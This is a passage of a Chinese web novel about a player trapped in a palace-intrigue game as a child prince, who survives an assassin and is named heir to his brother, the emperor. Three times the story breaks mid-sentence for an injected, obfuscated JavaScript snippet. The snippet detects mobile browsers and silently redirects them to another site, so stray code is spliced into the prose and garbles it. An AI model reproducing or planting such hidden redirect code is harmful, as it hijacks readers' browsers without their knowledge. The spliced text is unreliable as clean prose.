赫连辉很难得地停步,转了个身,转到这小童前面,他拿着个沾血的剑晃了晃,只见这小童颤颤闭眼,半点不瞧人,小嘴微撇,莫名有点嫌弃滋味,遂更生兴趣,剑头一转,用剑柄戳了戳人。 “就这么怕?看都不敢看,这可不像……老皇帝的种。” 祝瑶被戳的身体微晃,依旧不睁眼,脑海里全是那群士兵出现的场景,枪柄刀剑上的空缺、血迹的一滴滴下落,有的衣衫破烂,依旧沾着黑红的血,着铠甲的不少是各种都掺杂,血肉模糊。 空气里都似乎蔓延着一股血色的味道。 搞得这么真干什么! 就算……是真的,不能给玩家开点模糊视觉吗?能不能尊重下玩家的心情! “小童,你这么怕,怕什么?” “怕我杀了你。” 赫连辉话语一转,无比的冰冷,目光沉沉倾身看着眼前一切。 祝瑶小手抓紧着衣衫,被夜风吹得有些颤,可似乎有股气息靠近了,幽沉沉的,周围的人都保持无声,静默地吓人,似是手指划过,狠狠地抹开他的眼皮,有些阴鸷、疯狂、得意的逗弄。 “不敢看?怕我杀你,怕这个还敢委屈、敢不应从我。” “……” 别疯了,知道你是皇帝了,知道你要所有人都不能忤逆你了。 祝瑶被迫睁开了眼睛,任一个人被人拿着手指头撑开眼皮,那也是不得不睁眼看着这个世界的。 然后,他就看到了银色盔甲下流下的血迹。 祝瑶顿时向后倒地,彻底失去反应。 他晕血啊。 都明摆着不想看,不想看,不想看,还逼着他看。 神经啊! 赫连辉这回真有些猝然了,英气逼人,成熟稳健的面孔浮起少见的古怪,“这就……被吓死了。” “王爷,怕是晕厥之症。” 身边有人小心提醒。 赫连辉“哦”了声,百无聊赖道,“走吧,都带上。” 他也不管被身边亲卫抓住的女人,也不管这个名义上是他弟弟的晕厥小孩,只缓缓提剑往回走,越走神色越发肃然,满身威仪,露出了治下百姓眼底那还挺靠谱,正经的明君气象。 身后亲随见怪不怪,只跟上去。 再次醒来,有知觉了,似乎是躺着的,看来还没回游戏大厅。 祝瑶只缓缓掀开眼皮,有些恹恹姿态,任谁好端端的被拉进游戏,身处这个并不安全的世界,心情都不会太好。 “殿下,您醒了。” 刚醒来没几秒,身旁走近了个小侍女,脸上犹然有些惊恐,慌乱。 祝瑶没出声。 他只从床上爬起,呆呆地坐着,望着自己的手,很小很小,就是个小孩。 眼前的视野也很小,能说声庆幸吗?他居然能看到右下角有个菜单,心随神动,看到了【游戏背包/时光记录】。 游戏背包里新手大礼包送的三颗丹药都在。 时光记录……祝瑶盘了下,发现它居然是拍照功能,并且拍图无上限,随便拍,随便截图。 真的很神经啊。 祝瑶无话可说,人都进游戏世界了,还拍照,当旅游散心的吗?真游玩不起来,感觉很容易真挂。 不能高估制作组的良心,死的时候万一很痛怎么办。 “殿下,您饿了吗?” 小侍女拿着小碟糕点,悄悄走了过来,祝瑶转头一看,这侍女约比这个身体大五六岁的样子,十三四岁,很是稚嫩,还有些好奇、犹豫,她将糕点摆在了床榻上,用哄着小孩的的声音说:“小殿下,您吃点吧,这个可好吃了。” 明明她也是个小孩。 祝瑶并不搭理,想到之前的无数次开局即死,这个游戏涉及宫中的争斗大多都挺刀的。 万一有毒怎么办,这也不是不可能,他觉得还是饿着好。 他转而看向这个宫殿,有些陌生从未见过,殿内整体高大,空间很足,除去那些杂乱、还未曾更换的装饰。 祝瑶下了床,走了几步,膝盖上依旧有些痛。 “……” 太真实了。 一点都不好,不好。 他低头看自己,好像是换了套衣服,莫名有些华丽,精致,衣角上的刺绣不少,倒不像苛待。 要杀他……不杀他……弄不懂,不想了。 他在这个宫殿里走着,走到门口的时候,想要拉开门,可是压根不够高,踮起脚尖也够不着。 “……” 祝瑶还未曾出声,他被身后的小侍女抱了起来,往旁边挪了挪,门忽得被打开了。 几个宫女走了进来。 为首是个神情冷肃,上了年龄的女子,她没多说什么,只安排人把殿内重新布置了一遍。 祝瑶记得她的脸,是……赫连辉身边那位服侍有点久的宫女,好像是叫青烟……是的吧。 他被抱着。 十几岁的小宫女手也有些抖,把自己弄得个鹌鹑样。 女子只把两人当作透明人,直到殿内布置的差不多,她才微微打量了一眼,留下一句话,随即就离去了。 “陛下说过,要让这位殿下吃多点,省的朝野中人说他……刻薄弟兄。” “……” 祝瑶无话可说,好像……他自己都说只剩下自己这个档的身体一个弟弟了,这这还需要证明自己不刻薄吗?真装。 祝瑶没有询问自己这个身体的母亲在何处,总觉得喊出那个词怪怪的。 他其实也不太想和人交流。 不知道为何,貌似有点这个身体的缘故,难不成是属性点的高悟性? 倒是到了晚上的时候,他看着小宫女拿了些吃的来,昏黄的灯下她似乎等了会,看他迟迟没动作,尝试自己吃了点。 祝瑶看她吃了,也跟着吃了点。 没人管他们。 除了每日都有送饭食的,出门是出不了的。 祝瑶只觉得特别的漫长,他甚至真用记录时光开始拍拍拍,当作某种游戏美术艺术欣赏了。 除了自娱自乐,他还能做啥。 他甚至苦中作乐想,也许哪天他回去了就怒写一篇爽文,把这个游戏里的破事破人通通干翻。 最先得到凄惨下场的……就是赫连辉! 天字一号大反派。 死无全……咳咳,直接就挂了拉倒,多给戏份都是对他太好了。 这般过了些天。 依旧无人在意,除了门外的士兵从未离去,只一班换了一班。 所以说……什么时候能回游戏大厅,无疑这是呆在游戏里最无聊的一次,不能随便说话,也没什么自由,他怕说错话,直接被当成鬼上身。 到现在,他连这个身体的娘到底叫什么都不清楚,唯一知道的还是……赫连辉喊得那句“奚美人”。 祝瑶只觉膝盖痛。 鬼神之说,貌似于宫闺中往往能扯出不少权利争斗、引发一出出大戏。 这天,祝瑶依旧发呆,面前倒是摊了本书,他是从殿里床底下找到的,是本道家经文。 他深感怀疑,游戏大厅里出现的那句“你喜欢读一些母亲抄写的经书。”,这纯属是无聊吧。 总要找点事干。 他再次把那书翻了翻,嫌弃地很。 小侍女倒是没那么拘束了,显得都有些活泼起来,拿着些材料走了过来,低声询问道:“殿下,我们来一起做兔子灯吧,这是我向门外守卫的大哥要的,宫里正办节呢?我瞧您……” 祝瑶低头,看了眼。 最后点点头。 做手工也比看……看了好几遍的道经好,等会做完了他还能拍几张照片,存存图当作打卡。 时间缓缓流逝,两人就窝在桌案上,细细地做着花灯,祝瑶半点不会,基本跟着人做的,他这会听着人边做灯,边谈到自己,倒是知道了这小宫女的名字。 她叫冬枣,是去年入的宫,因家里实在是没粮食可吃,养不起人就进了宫。 “小殿下,你做的真好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540520|170956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着渐渐成形的兔子灯,她夸了几句。 祝瑶只觉得羞耻,他压根就不是小孩,不过他确实动手能力还算行,自理能力也行,不然作为孤儿,也活不大。 夜色渐深,灯差不多做好了。 两人把灯点着,昏暗的殿内,画了几笔图案的兔子灯散出光,圆桶桶的身躯莫名有些可爱。 “殿下,真好看。” “我听说……自陛下登基了,战乱已经停了,不知道家里人还好吗?什么时候能来看我?” 小宫女的声音有些飘忽。 祝瑶没回声,用【记录时光】功能,只拍着灯,拍了好几张。 “我想阿娘了……殿下,你想吗?” “……” 祝瑶装作听不懂,提着灯往内室外跑了出来,唉,他要怎么说,他觉得自己还是当个玩家好。 且不说感情的事,就算有……那想也没用啊。 他现在就个小孩。 祝瑶低头走着,只觉得拿灯的手,貌似有肉了些。 果然……是这段时间吃多了吗? “小殿下。” “你跑慢点。” 身后小宫女声音有些着急。 祝瑶低头,他这哪里算得上跑,也就乌龟爬,忽得眼前的昏暗地面被照的一片亮堂,门外大开,一阵夜风吹来,只把人吹得一颤,他便恍惚惚抬眼看了眼,玄色的衣袍垂地,那皮革腰带闪的发亮,再往上墨发飘扬,玉冠扣住,那两道锋利剑眉下虎视眈眈,锐利张扬,气势非凡。 而那成熟健壮的身躯,只站在门口处,就遮去了一切。 特么,吃什么长大的。 长得特么高。 祝瑶看了眼,就赶紧不看了。 他还未曾来得及转身,来人大步迈进,只把这宫殿当成自己的,进了自己家般,忽得被人拎了起来,伴随着一声呵斥。 “跑什么跑?” “咦,拎起来倒是重了点。” 祝瑶:“……”他没跑,他就单纯转身好吧,就正常走路。 他就这么被拎着一路,连人带衣,拎着到了内殿,直接随手放在了桌案上,当做了个物品似的摆放。 “听着,下次见了我,再跑……就把你关牢里去。” “……” 眼前的声音有些昂然,恐吓味居多。 祝瑶懒得想,懒得猜测他在发什么神经,只细细把自己的灯提了起来,细细看着有没有受损。 他可是辛苦做了一下午。 忽得,重影打了下来,周围似乎有人吸了口气,一只手似是强硬抓起了他的手,伴随着声冷笑,有些粗糙、厚茧的指腹压在他的手掌上,很用力、很顽固的姿态,把他整个手包握住了。 “谁让你做兔子灯的?” “谁教你做的?” 祝瑶手被攥着很紧,很紧,微皱眉,是有些痛的,他略有些吃力地抽手,却被握的更紧。 下巴被迫抬起。 他整个人不得不往上看,视线里的人那双利目满是暴戾、愤怒,是一种被彻底刺痛、触怒的神情。 时间仿佛停滞在这一刻。 祝瑶甚至听到了跟随来的宫人,有个吓得绊倒在地上。 身旁,他见到陪他做着宫灯的小宫女立在那边,身躯瑟瑟发抖,眼框里含着泪,似是焦急和悔恨。 “说啊!” “谁教的!” 赫连辉语气越发执拗,到最后竟有些歇斯底里了,冷冷瞧着眼前的一切,环顾周边后,回来看着眼前人,脸颊上有了些肉,这会似是被吓住了,怕是什么也说不出的,蠢笨的很。 他忽得将他整个人放下,只把他手里那盏灯夺了过来,随即丢在地上,踩了下去,踩得彻彻底底,咔嚓几声直接踩烂。 “把教他做灯的人,给我拉下去,砍了。” 赫连辉转身,只留给人背影。 祝瑶依旧坐在桌案上,这会儿彻底怔住,不太懂他的这种莫名其妙,迸发出的怒火。 他半天没反应过来,恍惚看到周边被拉住哭诉的小宫女,终是缓缓开口道:“赫连辉,灯是我要做的,和旁人没有关系。” “……” 祝瑶是真有点不明白,他到底在疯些什么,说出来的语调都让人觉得,他的确有些莫名的感觉,对这发生的一切。 此刻,殿内所有人都止住了呼吸。 自这位靖王打进京城,当了皇帝后,这还是第一次……有人敢当众喊他的名字,即便喊得人是个不知事的孩童。 即便,这孩童是这位亲自从冷宫里带出来的,是京城里几番厮杀后先帝留下的除了这位陛下外唯一的一份血脉,是这位陛下的亲弟弟。 自这位陛下把人带出冷宫,放在这重光殿内,已有一段时间。 谁也不知道帝王的想法,他不让人来见,也不亲自来见,只让人守好,关在殿里,顾好吃食。 可这位小殿下……宫里人也多是知道的,打小貌似就不说话,还一度被说过是个痴傻的。 没人听过他开口。 宫人侍卫也把他当做不说话的,说不了话的。 可他今日竟是开口了,还一开口就是喊着当今陛下的名,何等的胆大,何等的不要命。 祝瑶说的很慢,很慢。 这副身体貌似不怎么开口,都有些嘶哑、音调走失,他还是尽量清楚的、认真的说了一句话。 “你是皇帝,应有尽有,没必要……和宫人置气。” 12. 二周目 【王者的怒火】 <你没有听到他的回应。> <似乎从你说出那两句话后,一切时间都停滞了,你只看到他大步离去的身影,跟随在他身后的侍卫、宫人像他的影子般,簇拥着这个君王的到来,离去……> <仿佛听从、跟随是他们唯一的存在的意义。> <他们来的很突然,离去的也很突然,似乎什么都没发生,可你知道好像并非如此。> <那场突如其来的怒火,就像是一个被打破完美面具的体现,他表露的疯狂和执拗,控制不住的情绪……> <你开始觉得,其实你对他的了解……并非你以为的,过去了太多年了,他早就不是你记忆里的面孔。> 祝瑶怔怔望着游戏界面上一行行的文字,以及最上方的标题【王者的怒火】,不过一个愣神,时空转换间他重新回到了这里,依旧是进入时的姿态。 手掌上传来舔舐感,有些微微扎入。 祝瑶低头,白色猫儿团着,靠着他的右边手臂,尾巴也悄悄的低了下来。 祝瑶缓缓抽回了手。 “瞄瞄。” 猫儿依旧团着,只呜咽了声,随即就不动了。 游戏台面上,界面维持着文字的展露,背景则是那个宫殿里夜晚的场景,仿佛时光依旧停留在那一刻。 光与影之下,极致的对比。 侧身离去的帝王,腰间配着长剑,黑色衣摆垂地,只留下摇晃的玉饰。 长图里,右方宽大桌案上坐着的孩童,目光很平静地注视着一切,他在看着这场闹剧,这场落幕的戏剧。 角落里的宫侍们神色各异,有的惶恐、有的焦躁、有的平静……唯独踩碎的兔子灯没有情绪,仅仅是一件物被无视,被遗忘的物品。 “为什么?” 祝瑶望着这场景,轻声呢喃了句。 他微微有些呆了会,想了会他接着点了继续游戏,画面没有变化,文字依旧一行行的吐露。 [你有些迟疑了……再一次的见面,其实远比你想象过的还要不堪。] [你没有在出声。] [昏暗的灯火下,偌大的宫殿成了一场幽闭的囚笼,将局中人都笼罩其中,谁也逃脱不了。] [……] [你的宫女并没有被带走,反而留了下来。] [你们再次被遗忘了。] [她时常偷偷看着你,以一种难言的愧疚和焦躁,终究有一天,她难以容忍自己心中的情绪,跪地向你坦白了一切。] [她在祈求你的原谅。] [她说这一切都是她的错,是她听从了一个老宫女的交代,才带你做兔子灯的。她说她就是一时鬼迷心窍,想着许是能讨好你,能讨好陛下,这样她就能有机会不仅仅是个小宫女,她也许能因你……像老宫女说的那样,她也许有天能够出宫,能够接济更多自己的家人,也能够轻易地见到他们。] [她未言明的一切,仿佛也证明了她并非那么的天真。] 背景里恍然间换了个画面,阳光透过层层窗檐,打进了这殿内,将那地毯上的小小身影照的神情难辨,只露出侧脸。 他在做灯,手里拿着一盏新的兔儿灯。 身旁跪着伏地的小宫女,身形微颤,撑着身体的手臂颤抖,地板上掉落了几滴水,光影之下发亮。 【这算是背叛吗?你无法评价,也不想评价。你是有些吃惊的,随即心里亦有些淡淡的接受,这世上本来就没有无缘无故的好,不是吗?】 【那么,对于这场坦白,你会怎么做?】 【不出声/出声】 祝瑶看了许久,终是认真的点了【不出声】,随即背景画面再次流转,这次倒是有些轻松、温暖的场景。 那是一树探出宫墙的红柿子。 框景内的景色,美极,甚至能看到几个小宫人正爬着树,想要摘那红彤彤的柿子。 祝瑶有点意外。 这次画面竟是简笔画的童趣风格,很是清新,悠然,把那爬墙的宫人的滑稽姿态画的很生动。 画面中央偏下的文字依旧在加载着,笔调也有些轻扬起来。 [你没有出声。] [你始终觉得你不是她的责任,正如她也并非你的责任。] [你们不过是意外相逢的两个个体,是巧合是机缘,也许很快就如流云般散去,那么你又何必生气?] [这场倾诉对你来说,好像有与没有也没有那么的重要,你始终觉得……其实,你和她都是这皇宫中的囚徒。] [既然身在其中,何必自怨自艾,所幸就如风拂过,来这一世也不亏。] 祝瑶都被气笑了。 这阿Q精神还真是可以啊,问题是……这破游戏写的还真挺符合他想法的,服气了。 忽得游戏文字暂停了,界面上倒是很愉快地来了个提示音,金色的俏皮字体提示【悟性+2】。 【恭喜玩家解锁角色面板,玩家可在游戏主界面进行查看。】 【游戏功能正在一步步缓慢解锁,您正在进行的游戏的可玩度再进一步提升中,玩家有没有感受到制作组的诚挚热情,为了表达对玩家的感谢,游戏制作组特意赠送一个初始存档,请玩家大胆使用吧!】 祝瑶:“???” 他连忙点开主界面,自己的存档的确多了个空白档。 人物面板则显示: 【容貌:4点】 【很遗憾,你长得依旧挺普通,对于宫里人来说。】 【智力:4点 】 【很抱歉,你从小不爱学习,至今脑子空空。唯一可称赞的,你挺会装死的。】 祝瑶:“……” 装死不好吗?话多死得快,呸! 【悟性:12点 】 【你真的很适合出家。】 【体质:6点 】 【你的体质有进步,肉眼可见在皇宫里可能……还能活挺久的。】 祝瑶:“……”这最后一句是调侃吧,别搞得这个档达成个“幽闭一生”成就,那和“出生即死”简直有的一拼。 不过这悟性怎么就12点了。 哪里加了2点? 祝瑶懒得纠结,看了眼接着缓缓爬到自己手臂旁的猫猫,忽得低头对视,恐吓了句,“死小鬼,晚点你最好别给我出现了?一出现就没什么好事,你的信誉已经用完了,懂吗?” “瞄呜。” “……” 祝瑶不死心,揪了一把,“听到没?让你动不动发疯,放狠话,好好当个正常皇帝不行吗?” 发泄完。 祝瑶接着点了继续,游戏画面的文字缓缓吐出,音乐忽得变得有几分激昂起来,搞得他也有些紧张起来。 介于前面游戏进展,配置音乐往往和进展事件很切合。 [整个夏天尽了,直到秋日来临,你也没有获得出去的资格,更未曾见到过来到这宫殿的第二人。] [这一天的晚上,你躺在床榻,忽得听到几声轻响。] [那是脚步声。] [很轻很轻,一步步地向内殿走来。] [你良好的悟性给予了你远超常人的敏锐,以及面对危险的直觉,你立即意识到这不是陪伴你的宫女。] 【面对这种情形,无疑这是至关重要的一刻,你该怎么办?】 【马上爬起,躲到床榻另一边。】 【默不作声。】 【出声喊了句“冬枣,是你吗?”】 “艹艹艹” 祝瑶骂了好多句,他这会真觉得这个游戏很有些阴险了,他赶紧存了档,难怪游戏会送存档。 这不送鬼能过……感觉每一个选项都是坑啊。 马上躲起来,能躲过吗? 祝瑶很怀疑,殿内就那么大,就个小孩身体能躲过吗?如果是来要人命的,那怕是自己死也无所谓。 装作不知是谁来,出声喊人。 可明明知道来的人不是自己的宫女,这是想惊退来人吗?就算把人叫醒了,怕是也阻挡不了来人。 祝瑶眯起眼,看着变幻地深黑的背景,那行刺目的文字,忽得下定决心选择了【默不作声】。 如果,这个游戏是模拟自己的思维…… 那么这三个选项,也许都是自己可能做出的选择,是他面对那种情况真实发生时产生的抉择。 他始终觉得,自己不会如此坐以待毙。 [你没有出声,你知道来的是个成熟的猎手,你或许从未见过他/她,可他/她一定观察你许久了。] [他/她知道你的宫女冬枣睡的深,不容易被吵醒。] [他/她知道你早些时候往往睡得很浅,到了深夜才能睡的深,真正的睡熟。] [他/她很清楚自己要做的一切。] [你的心跳有些快,余光静静地等待着,右手却往枕下的那把被你偷偷从烛台取下的,磨尖了的尖钉摸去。] 祝瑶暗暗艹了句,这破游戏还真是求生游戏,担心自己能不能活下去比攻略来说才是重头事。 [你早有预感这一切也许不会那么平静,总有些暗流涌动。] [可你没想到这一天来的这么快。] [那人慢慢走近了,你余光中仿佛看到了他/她手里的布条,待他/她走近的时刻,缓缓往你脖颈后头探去,你忽得跳了起来,右手执尖钉往人脖颈一划,顺带往人身上关键部位用力一刺,刺的很深,立马抽出,再次刺入。] [你知道你只有这一次机会,你只能拼尽全力。] [没有人会来救你。] [他/她选择用白布也只是想尽量让你死亡的声音小些,你知道的……这只是他/她的一个选择。] 画面忽得传来了几声穿刺声,抖动颤抖了几下,血色弥漫了整个屏幕。 祝瑶冷静地看着这一切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540521|170956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 [你被来人一个用力的甩开了,彻底地倒在床榻的另一边。] [你听到了喘息声,越发浓厚。] [很快,声音消失了,只留下了血的味道。] [你浑身发颤,扒伏在地上,敏锐的器官使你闻到了血的气息,你不顾身体被甩的浑身酸痛,反而利落地爬了起来,往回马上捡起了身旁掉落的尖钉,你没有看它,手里的滑腻感觉使你明白这是一柄很好的武器。] [你拿着它,似乎能感受到那种血液滴落的声音,于这空荡荡的殿内很有几分惊悚。] [尽管,你知道那只是错觉。] [你回头只看了一眼离着那倒在地上的人,只往远了点的地方走。] [你知道你应当是成功了,那应当是个太监,他或是有些小瞧了你,还想着来了也许还能走,所以给你选择了一个相较温柔的死法。只是很可惜,他误判了形势。你知道,你应当是刺中了他的大动脉。] [你找了个隐蔽的角落,坐了下来。] [你想了许多事,你对死亡的方式并不陌生,你记起了你幼年的时候,被受欺辱时,你曾经……不是没有过些极端想法,你查过许多的资料,甚至练习过一些小招式。可你从未付诸实践,你知道那毫无意义,也并不值得。] [你没想过,你从未遗忘。] [那么,这一次的选择……你对自己的选择认可吗?] 祝瑶沉默了。 忽得一声沉重呼吸,传至耳边。 祝瑶抬眼望向四周,跪地的低视线,昏暗的殿堂,冷冰冰的地面,手里滑腻的感觉,他忽得吸了口气,用力地呼吸着,双手颤抖着,却把武器抓的更紧了些,他只维持着原有的姿势,只静静地呆在原地,足足呆了一整夜。 他有没有睡着,他自己也不清楚。 直到第二日,天还未放亮,只稍稍透着点光,一声刺耳的尖叫彻底打破了这片宁静。 殿外首值的侍卫也急忙开门,这片寂静的宫殿彻底地被惊醒般,似是来了不少的人,火把被点着了。 把整个宫殿照亮了。 祝瑶微微闭目,持久的黑暗被照亮了,有些刺眼了。 他似是仿佛听到了宫女急匆匆地焦急的呐喊“小殿下,小殿下。”,又似好似什么都没听到,他也不清楚了。 他只觉得有点累。 他彻底闭上了眼,恍惚之间就这样睡去了。 【恭喜玩家解锁隐藏剧情:隐秘的风声】 【剧情介绍:这场刺杀并非空穴来风。帝王无子,后位空悬,先帝八子,独独剩了一个痴儿,却被帝王接出了冷宫。宫中人总有些自作聪明,或是真正猜到了一些帝王的想法,一些传闻早就在这没有秘密的宫廷里悄悄的扩散着,有些人闭着眼当做没看见,有的人蠢蠢欲动想要利用,有些人则真正做出决定,铲除这个威胁……可没有真正知道帝王真正的想法,也许是知道了也不敢相信。】 【可有人决定铤而走险。】 【为那也许渺茫的机会,也要争出个头破血流出来。】 不知睡了多久,刚刚清醒,祝瑶就收到了一连续的任务完成提醒。 看完所有的剧情介绍时,他真是无处不吐槽。 所以……就因为赫连辉有可能有点想立这个档的角色当……当太子?就因为他想立自己弟弟当继承人,他就这么被无辜卷入这破发刀求生剧情? 他这个属性点,谁看也不觉得是像能当皇帝or太子的吧。 赫连辉是真的神经病! 祝瑶在看到诏书下来的那一刻,更确定了这一点。 【元泰一年九月,刚刚距离帝王登位不过三月,这一年的朝野风波就以元泰帝彻查宫中行刺一事彻底拉开序幕。】 【元泰一年十月,帝册封其弟为皇太弟。】 13. 二周目 关于被立为继承人,祝瑶是后头才知道这事情的。 他醒来时,唯一听到的就是剧情的提醒,一句句播报着,将他从沉睡中打醒,他压根未曾来得及思考太多。 他只觉得荒唐。 他目光游离着,望着这换了个地方的宫殿,雕梁画栋,精致贵重,无处不显露出气派,以及那种厚重的底蕴。 他忽得缓缓下了床,顺带看了眼自己的手,苍白无血,瘦削无力。 怕是得晒些日光。 祝瑶遂不自觉地循着光而去,直往似是脱离这殿内的出口而去,他的身影有些单薄、羸弱,却不容人忽视。 祝瑶并不清楚,他已经睡了足足一月。 许多人都说,这位小殿下怕是中了癔症,怕是醒不了。 奈何帝王偏偏把他接进了自己的紫宸殿,更不顾及群臣阻拦,执意下了诏书将不清醒、沉睡中的他立为继承人。 这是何等的殊荣。 先帝的孩子大多死于那几年纷乱的争位,可他们不是没留下些子嗣,其间聪慧者、品性佳、貌姣好者不在少数,直接养在自己名下,在正常不过,也更适宜些……可这位陛下偏偏选了自己的亲弟弟。 那个宫中的隐形人。 这孩子来历就不算好,总有些晦涩意味,先帝的一场酒醉,同宗亲公主间的逆伦产物。虽说出生时先帝并未忌讳,可怕是不太重视的,总有些回避意味,直到这孩子满一岁时也才来见了一面。 他生的很普通,被先帝评过一句“丑”,可见不受喜爱。 他甚至并未被取名,反而跟随其母姓。 无论前事如何,当今陛下将其立为继承人,新取了名,都可见他注定将在宫中有着一定的地位。 可他睡的实在太久了。 久到……很多人都觉得他怕是永远都不会醒来了。 因此这日当这位小殿下起身时,左右宫婢都极度惊愕,只眼睁睁看他从床榻上爬起,缓缓慢步走了下来。 他走的不快,很慢。 他似是追逐着光,往外走去。 那副小小身躯里似乎难辨别,他是否真是个痴傻孩子,那场刺杀事件引起了轩然大波,帝王因此波及了不少人,宗室里也死了不少人。 而他清晨被发现时的情形暗暗流传于宫中。 很多人私下底都认为,他不仅不傻,反而聪明地紧。 可这位殿下于这宫中人来说,平日行止又过于游离于人世间了些,不说话也就算了,就连眼神都未曾有什么实感。 他整个人都仿佛飘着的,宛若个飘零人,空荡荡。 祝瑶走的很慢,随着声音而去,只往出口而去,忽得跨过后殿的珠帘时,只望见了一群看过来的目光。 他整个人顿时缩了回去。 前殿的群臣无疑神色各异,高居上座的帝王似是循目光而来,望着那珠帘后的小小身影,只略有些肆意笑了声。 “诸君,今日议事,便到此刻吧。” 祝瑶听到了那笑声,总觉得很有些古怪,他索性直接越过珠帘,直晃晃的往前走去,不管不顾的跑了。 在场众人都有些惊愕。 这位小殿下倒是……同传闻中的有些不符,未免有些过分活泼了些。 上座,帝王压下眉眼,忽得大步往下走,跟着往殿外走去,他身材高大,步履间如龙虎之步,赫赫生威,只是莫名有些兴奋意味,像是找到了个什么新鲜玩意,想要把玩在手心,不似平常那般稳健。 “……” 留下殿内诸位臣子失声。 群臣里,有个宽和、瘦削的臣子,用着略忧愁的声音问道,“夏相,你可知……陛下此举何意?” “……” 本就并非朝议,来的臣子多是帝王亲信。 这些臣子里,独独有个先头的,被众人围簇着,似等着他的回应。 他着着一袭仙鹤红色纱罗袍,行止间端方清正,可此时却目光悠远,忽得只望着那殿里地面不断延伸出去的红线。 他收入袖口内的手,微微颤动了几下。 那红线似是也跟着浮动。 夏启言神色不变,只轻轻回了句,“不如何,怕是一时……”忽得止了声,他想到那北地时年年的浩大灯会。 他想到那流传甚广的鬼神护佑之说。 这当中自有这位帝王的暗中推波助澜,有稍作加工的神异故事,可究其根本……怕也并非全然作假。 他曾亲眼见过那鬼。 不是吗? “陛下此举立嗣,实在是……过分随心所欲。” 有人长长叹息。 朝野中微词不少,可这位帝王依旧强硬地执行。 跟随已久的臣子,清楚这位陛下脾气不算差,相较来说还算好沟通,是个善于体量人、颇宽仁的性子。 当初他在北地时就吸引了不少贤才,天下纷乱时更有名士举家相投,他用人实在不拘泥出身、才学,有则用之,过则改之,甚至能称上一句善解人意,不知多少士子、贤才得了他的宽慰后恨不得以身相报,为这份知遇之恩。 可他真正想做的事情,怕是拦不了的。 好比,至今空悬的后位,未曾有过的子嗣,通通是劝不动的。 “这事,得留后待议。宗室作乱,人心浮动,怕不如这位殿下,来历还简单些。” 夏启言做了定语。 群臣叹息,也认可不少,便相伴着一同离去。 刚出殿外,就见帝王拎着那位小殿下走了回来,眉眼间颇有些桀骜的气势,似是要好好的说道一般。 那小殿下两眼垂目,似有些恹恹态。 等这孩子路过时,夏启言忽得握了下那小孩的手,是有知觉的,有些温热的,似有些发烫,不知是跑出去所致,还是其他。 祝瑶正无力着。 忽得,低头看向触碰到自己手的,那只手宽厚、细致,轻轻托住了他的手,莫名有点研究的姿态。 可最令人瞩目的则是,那两只手互相缠绕在腕间的红线,细细的、暗暗的,似萦绕着一股青灰色。 “……” 祝瑶呆了下。 他抬头看去,那眉目有几分熟悉,比见过的那张年轻面孔,成熟多了,更显得沉肃静穆,如松竹般伫立。 不容转移,不惧风雨。 祝瑶见过的,见过那茅草屋下的士子夜读之景,那种颇有些令人探究的气质,让他印象很是深刻。 可为什么会有“红线”? 为什么跑到他的腕间……他能看到吗?应是看不到的吧,就像当初的赫连辉般,只是自己单向发现。 “……” 祝瑶都要差点忘了,这还是个恋爱攻略游戏。 赫连辉停步,见状,忽得一笑,“忘了,夏相颇擅医术,不如就给这小童瞧瞧,看着总没什么精气神。” 夏启言缓缓道:“无碍,只是临近冬日,应多加衣物。” 莫名,祝瑶觉得这话似乎……不是什么好话。 赫连辉失笑。 “先生倒是一如既往的,颇在意保暖。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540522|170956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “殿内有炭火,地暖,哪里需要多加衣物,也就这小童行止无状,随意乱跑怕才会着些凉。” 他有些数落道。 夏启言留在原地,就这般看着这位帝王拎着这位小殿下离去,忽觉得时间奇妙之事莫过于如此。 他知晓吗? 那个曾经来应约的……艳鬼,那个他画里出现的美人,即便他从不给人欣赏,也有人不小心见过的。 那日,他着那样轻薄的纱衣,仿佛来应约同他一响贪欢。 这情债自是未曾了结。 所以,来世接着寻来,接着报吗?他知道自己等的人来了吗? 夏启言自是有答案。 他踱步离去,跨过这重重宫门,幽暗的深宫里,走过那廊道时,忽得有些憎恨起来,恨这无端的世道。 这点恨意说不清道不明,细细探究有那么几丝羡嫉,他能等到……自己……凭什么怎么都等不到。 夏启言忽得失笑。 为自己这难得的荒唐,无端的念想。 祝瑶被拎着不说话,纯属懒得计较了,不计较就不生气,不生气就不累了,挺好的,真挺好的。 “不说话?” “啧……看来就是纯属不想同我说,脾气是真不好。” 赫连辉把人拎着,直接放回了床榻,细细打量着人,忽得肯定道,“也对,脾气是够差的,都敢杀人了。” 祝瑶顿住。 他还未曾反应,忽得听见几声大笑,“我看杀得好,极好,这样才像朕之兄弟。” 祝瑶无语了。 